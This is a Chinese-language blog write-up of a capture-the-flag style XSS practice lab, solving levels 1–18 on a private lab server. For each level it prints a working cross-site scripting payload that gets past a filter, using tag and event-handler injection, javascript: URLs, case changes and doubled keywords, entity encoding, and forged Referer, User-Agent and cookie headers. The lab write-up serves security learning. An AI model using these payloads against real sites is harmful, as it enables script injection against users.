XSS的攻关练习

从论坛找到的一个XSS练习源码:

于是开始攻关之路,每攻关一次就更新一下:

第一关:

最简单的直接输入一个<input>标签就直接被执行了,说明完全没有过滤标签。


然后看看源码,看看需要怎样才能通关。


那就是直接调用windows.alert()这个函数就可以通关。

简单明了。

192.168.23.248:93/level1.php?name=<script>window.alert()</script>


好了通关第一关。很简单,来看看第二关。

第二关:

先看看源码

有个地方用了htmlspecialchars函数处理,那我们直接从input里下手

在搜索的地方输入"οnclick="window.alert(),然后再点击搜索框


通关。

第三关:

源码:


两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号

所以搜索框输入'οnclick='window.alert(),搜索后再点击搜索框。


成功通关

第四关:

源码:


input标签过滤的<>符号,但是在通关第三关时候我并没有用<script>所以直接用第三关的方法

不过单引号要换成双引号,搜索框输入"οnclick="window.alert(),搜索后再点击搜索框

轻松过关。

第五关:

源码:


过滤了<script>和on就是说之前我用的事件触发就不能再用了。

所以我现在尝试嵌入一个连接,在连接的时候调用alert

"><a href="javascript:alert('xss')">test</a>//


成功过关。

第六关:

源码:


源码可以发现过滤更多的关键字,但是跟第五关相比,少了个strtolower函数,即把输入的大写转换成小写。。所以这里直接用大写可以成功绕过。

"Onclick="window.alert()


成功过关。

第七关:

源码:


把我们标签里的关键字改为小写,然后script,hreff这些关键字直接替换为空。最简单的的办法是直接双写就可以了

"><a hrHREFef="javasSCRIPTcript:alert('xss')">123</a>//


成功通关。

第八关:

源码:


这个就有点难了。过滤了很多关键字。现在只能尝试在友情链接那里下手,但是关键字被过滤了怎么办,可以用浏览器编码

java&#x0073;cript:alert(1)


成功通关。

第九关:

源码


增加了检验是否含有http://这个关键字,我们尝试在注释的时候加上

javasc&#x0072;ipt:%0dhttp://www.dsdd.com%0dalert(1)


成功通关。

第十关:

源码:


把这个变成text类型,因为要get两个参数所以要用&

123&t_sort="type="text" οnclick="alert(1)


成功通关


第十一关

源码:


可以看出来t_sort的值来自 上一个连接跳转的地址。

所以我们直接抓包把referer里绕过

我直接用findder改了

在第十关的提交的时候F11暂停然后findder修改数据包

23&t_sort="type="text" οnclick="alert(1)



成功过关

第十二关

源码


看了源码跟11关差不多,只是数据来源换为user-agent了,那还是抓包改一下就ok了



轻松过关。


第十三关

源码:


数据来源cookie的user字段。。那我们抓包修改user就可以绕过了



成功过关。


第十四关

好像要做xss的图片,这个不会。


第十五关:

源码:


ng-include文件包含,那么我就可以尝试让他包含某个可以执行xss漏洞的文件,然后让这个文件调用alert方法就可以了。

最简单的额直接用第一关的例子

‘level1.php?name=123<img src=111 οnerrοr=alert(1)>’


成功通关

第16关

源码


把script 空格 /都转义了。

那么空格就可以用%0d代替

test<img%0dsrc=1%0dοnerrοr=alert(1)>


成功通关

第十七关

源码:


直接在后面加个触发事件

οnclick=alert(1)


成功通关

第十八关

源码


没看出源码和17关有什么不一样,

输入17关的通关答案,成功通关

οnclick=alert(1)



十九关是单引号,我在研究研究

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值